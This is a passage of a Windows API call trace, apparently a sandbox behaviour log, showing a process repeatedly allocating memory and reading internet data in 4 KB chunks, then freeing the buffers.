[0130.778] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09f0670 [0130.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.778] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a00680 [0130.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.779] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a10690 [0130.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.779] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a206a0 [0130.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.780] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a306b0 [0130.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.780] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a406c0 [0130.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.781] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a506d0 [0130.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.781] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a606e0 [0130.830] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.831] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a706f0 [0130.831] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.831] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a80700 [0130.832] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.832] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0a90710 [0130.832] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.832] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0aa0720 [0130.833] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.833] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0ab0730 [0130.833] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.833] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0ac0740 [0130.834] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.834] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0ad0750 [0130.834] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.835] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0ae0760 [0130.835] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.835] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0af0770 [0130.835] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.836] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b00780 [0130.836] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.836] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b10790 [0130.837] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.837] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b207a0 [0130.837] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.837] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b307b0 [0130.838] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.838] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b407c0 [0130.838] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.838] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b507d0 [0130.839] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.839] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b607e0 [0130.839] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.839] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b707f0 [0130.839] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.840] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b80800 [0130.840] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.840] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0b90810 [0130.840] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.841] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0ba0820 [0130.841] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.841] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0bb0830 [0130.841] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.842] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0bc0840 [0130.842] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.842] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0bd0850 [0130.842] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.843] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0be0860 [0130.843] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.843] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c00080 [0130.844] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.844] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c10090 [0130.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.845] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c200a0 [0130.845] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.845] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c300b0 [0130.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.846] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c400c0 [0130.846] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.846] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c500d0 [0130.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.847] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c600e0 [0130.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.847] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c700f0 [0130.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.848] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c80100 [0130.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.849] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0c90110 [0130.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.849] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0ca0120 [0130.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.850] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0cb0130 [0130.850] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0132.773] LocalFree (hMem=0x26bf5b01040) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5c50a20) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5c40a10) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5c30a00) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5c209f0) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5c109e0) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5c009d0) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5bf09c0) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5be09b0) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5bd09a0) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5bc0990) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5bb0980) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5ba0970) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b90960) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b80950) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b70940) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b60930) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b50920) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b40910) returned 0x0 [0132.773] LocalFree (hMem=0x26bf5b30900) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5b208f0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5b10080) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5af1030) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5ae1020) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5ad1010) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5ac1000) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5ab0ff0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5aa0fe0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a90fd0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a80fc0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a70fb0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a60fa0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a50f90) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a40f80) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a30f70) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a20f60) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a10f50) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5a00f40) returned 0x0 [0132.774] LocalFree (hMem=0x26bf59f0f30) returned 0x0 [0132.774] LocalFree (hMem=0x26bf59e0f20) returned 0x0 [0132.774] LocalFree (hMem=0x26bf59d0f10) returned 0x0 [0132.774] LocalFree (hMem=0x26bf59c0f00) returned 0x0 [0132.774] LocalFree (hMem=0x26bf59b0ef0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf59a0ee0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5990ed0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5980ec0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5970eb0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5960ea0) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5950e90) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5940e80) returned 0x0 [0132.774] LocalFree (hMem=0x26bf5930e70) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5920e60) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5910e50) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5900e40) returned 0x0 [0132.775] LocalFree (hMem=0x26bf58f0e30) returned 0x0 [0132.775] LocalFree (hMem=0x26bf58e0e20) returned 0x0 [0132.775] LocalFree (hMem=0x26bf58d0e10) returned 0x0 [0132.775] LocalFree (hMem=0x26bf58c0e00) returned 0x0 [0132.775] LocalFree (hMem=0x26bf58b0df0) returned 0x0 [0132.775] LocalFree (hMem=0x26bf58a0de0) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5890dd0) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5880dc0) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5870db0) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5860da0) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5850d90) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5840d80) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5830d70) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5820d60) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5810d50) returned 0x0 [0132.775] LocalFree (hMem=0x26bf5800d40) returned 0x0 [0132.775] LocalFree (hMem=0x26bf57f0d30) returned 0x0 [0132.775] LocalFree (hMem=0x26bf57e0d20) returned 0x0 [0132.775] LocalFree (hMem=0x26bf57d0d10) returned 0x0 [0132.776] LocalFree (hMem=0x26bf57c0d00) returned 0x0 [0132.776] LocalFree (hMem=0x26bf57b0cf0) returned 0x0 [0132.776] LocalFree (hMem=0x26bf57a0ce0) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5790cd0) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5780cc0) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5770cb0) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5760ca0) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5750c90) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5740c80) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5730c70) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5720c60) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5710c50) returned 0x0 [0132.776] LocalFree (hMem=0x26bf5700c40) returned 0x0 [0132.776] LocalFree (hMem=0x26bf56f0c30) returned 0x0 [0132.776] LocalFree (hMem=0x26bf56e0c20) returned 0x0 [0132.776] LocalFree (hMem=0x26bf56d0c10) returned 0x0 [0132.778] LocalFree (hMem=0x26bf56c0c00) returned 0x0 [0132.778] LocalFree (hMem=0x26bf56b0bf0) returned 0x0 [0132.778] LocalFree (hMem=0x26bf56a0be0) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5690bd0) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5680bc0) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5670bb0) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5660ba0) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5650b90) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5640b80) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5630b70) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5620b60) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5610b50) returned 0x0 [0132.778] LocalFree (hMem=0x26bf5600b40) returned 0x0 [0132.778] LocalFree (hMem=0x26bf55f0b30) returned 0x0 [0132.778] LocalFree (hMem=0x26bf55e0b20) returned 0x0 [0132.778] LocalFree (hMem=0x26bf55d0b10) returned 0x0 [0132.778] LocalFree (hMem=0x26bf55c0b00) returned 0x0 [0132.782] LocalFree (hMem=0x26bf55b0af0) returned 0x0 [0132.782] LocalFree (hMem=0x26bf55a0ae0) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5590ad0) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5580ac0) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5570ab0) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5560aa0) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5550a90) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5540a80) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5530a70) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5520a60) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5510a50) returned 0x0 [0132.782] LocalFree (hMem=0x26bf5500a40) returned 0x0 [0132.782] LocalFree (hMem=0x26bf54f0a30) returned 0x0 [0132.782] LocalFree (hMem=0x26bf54e0a20) returned 0x0 [0132.782] LocalFree (hMem=0x26bf54d0a10) returned 0x0 [0132.782] LocalFree (hMem=0x26bf54c0a00) returned 0x0 [0132.787] LocalFree (hMem=0x26bf54b09f0) returned 0x0 [0132.787] LocalFree (hMem=0x26bf54a09e0) returned 0x0 [0132.787] LocalFree (hMem=0x26bf54909d0) returned 0x0 [0132.787] LocalFree (hMem=0x26bf54809c0) returned 0x0 [0132.787] LocalFree (hMem=0x26bf54709b0) returned 0x0 [0132.787] LocalFree (hMem=0x26bf54609a0) returned 0x0 [0132.787] LocalFree (hMem=0x26bf5450990) returned 0x0 [0132.787] LocalFree (hMem=0x26bf5440980) returned 0x0 [0132.787] LocalFree (hMem=0x26bf5430970) returned 0x0 [0132.787] LocalFree (hMem=0x26bf5420960) returned 0x0 [0132.787] LocalFree (hMem=0x26bf5410950) returned 0x0 [0132.787] LocalFree (hMem=0x26bf5400940) returned 0x0 [0132.787] LocalFree (hMem=0x26bf53f0930) returned 0x0 [0132.787] LocalFree (hMem=0x26bf53e0920) returned 0x0 [0132.787] LocalFree (hMem=0x26bf53d0910) returned 0x0 [0132.802] LocalFree (hMem=0x26bf53c0900) returned 0x0 [0132.813] LocalFree (hMem=0x26bf53b08f0) returned 0x0 [0132.813] LocalFree (hMem=0x26bf53a08e0) returned 0x0 [0132.813] LocalFree (hMem=0x26bf53908d0) returned 0x0 [0132.813] LocalFree (hMem=0x26bf53808c0) returned 0x0 [0132.813] LocalFree (hMem=0x26bf53708b0) returned 0x0 [0132.813] LocalFree (hMem=0x26bf53608a0) returned 0x0 [0132.813] LocalFree (hMem=0x26bf5350890) returned 0x0 [0132.813] LocalFree (hMem=0x26bf5340880) returned 0x0 [0132.813] LocalFree (hMem=0x26bf5330870) returned 0x0 [0132.813] LocalFree (hMem=0x26bf5320860) returned 0x0 [0132.813] LocalFree (hMem=0x26bf5310850) returned 0x0 [0132.813] LocalFree (hMem=0x26bf5300840) returned 0x0 [0132.813] LocalFree (hMem=0x26bf52f0830) returned 0x0 [0132.813] LocalFree (hMem=0x26bf52e0820) returned 0x0 [0132.813] LocalFree (hMem=0x26bf52d0810) returned 0x0 [0132.813] LocalFree (hMem=0x26bf52c0800) returned 0x0 [0132.887] LocalFree (hMem=0x26bf52b07f0) returned 0x0 [0132.887] LocalFree (hMem=0x26bf52a07e0) returned 0x0 [0132.887] LocalFree (hMem=0x26bf52907d0) returned 0x0 [0132.887] LocalFree (hMem=0x26bf52807c0) returned 0x0 [0132.887] LocalFree (hMem=0x26bf52707b0) returned 0x0 [0132.887] LocalFree (hMem=0x26bf52607a0) returned 0x0 [0132.887] LocalFree (hMem=0x26bf5250790) returned 0x0 [0132.887] LocalFree (hMem=0x26bf5240780) returned 0x0 [0132.887] LocalFree (hMem=0x26bf5230770) returned 0x0 [0132.887] LocalFree (hMem=0x26bf5220760) returned 0x0 [0132.887] LocalFree (hMem=0x26bf5210750) returned 0x0 [0132.887] LocalFree (hMem=0x26bf5200740) returned 0x0 [0132.887] LocalFree (hMem=0x26bf51f0730) returned 0x0 [0132.887] LocalFree (hMem=0x26bf51e0720) returned 0x0 [0132.887] LocalFree (hMem=0x26bf51d0710) returned 0x0 [0132.887] LocalFree (hMem=0x26bf51c0700) returned 0x0 [0132.896] LocalFree (hMem=0x26bf51b06f0) returned 0x0 [0132.896] LocalFree (hMem=0x26bf51a06e0) returned 0x0 [0132.896] LocalFree (hMem=0x26bf51906d0) returned 0x0 [0132.896] LocalFree (hMem=0x26bf51806c0) returned 0x0 [0132.896] LocalFree (hMem=0x26bf51706b0) returned 0x0 [0132.896] LocalFree (hMem=0x26bf51606a0) returned 0x0 [0132.896] LocalFree (hMem=0x26bf5150690) returned 0x0 [0132.896] LocalFree (hMem=0x26bf5140680) returned 0x0 [0132.897] LocalFree (hMem=0x26bf5130670) returned 0x0 [0132.897] LocalFree (hMem=0x26bf5120660) returned 0x0 [0132.897] LocalFree (hMem=0x26bf5110650) returned 0x0 [0132.897] LocalFree (hMem=0x26bf5100640) returned 0x0 [0132.897] LocalFree (hMem=0x26bf50f0630) returned 0x0 [0132.897] LocalFree (hMem=0x26bf50e0620) returned 0x0 [0132.897] LocalFree (hMem=0x26bf50d0610) returned 0x0 [0132.897] LocalFree (hMem=0x26bf50c0600) returned 0x0 [0132.907] LocalFree (hMem=0x26bf50b05f0) returned 0x0 [0132.908] LocalFree (hMem=0x26bf50a05e0) returned 0x0 [0132.908] LocalFree (hMem=0x26bf50905d0) returned 0x0 [0132.908] LocalFree (hMem=0x26bf50805c0) returned 0x0 [0132.908] LocalFree (hMem=0x26bf50705b0) returned 0x0 [0132.908] LocalFree (hMem=0x26bf50605a0) returned 0x0 [0132.908] LocalFree (hMem=0x26bf5050590) returned 0x0 [0132.908] LocalFree (hMem=0x26bf5040580) returned 0x0 [0132.908] LocalFree (hMem=0x26bf5030570) returned 0x0 [0132.908] LocalFree (hMem=0x26bf5020560) returned 0x0 [0132.908] LocalFree 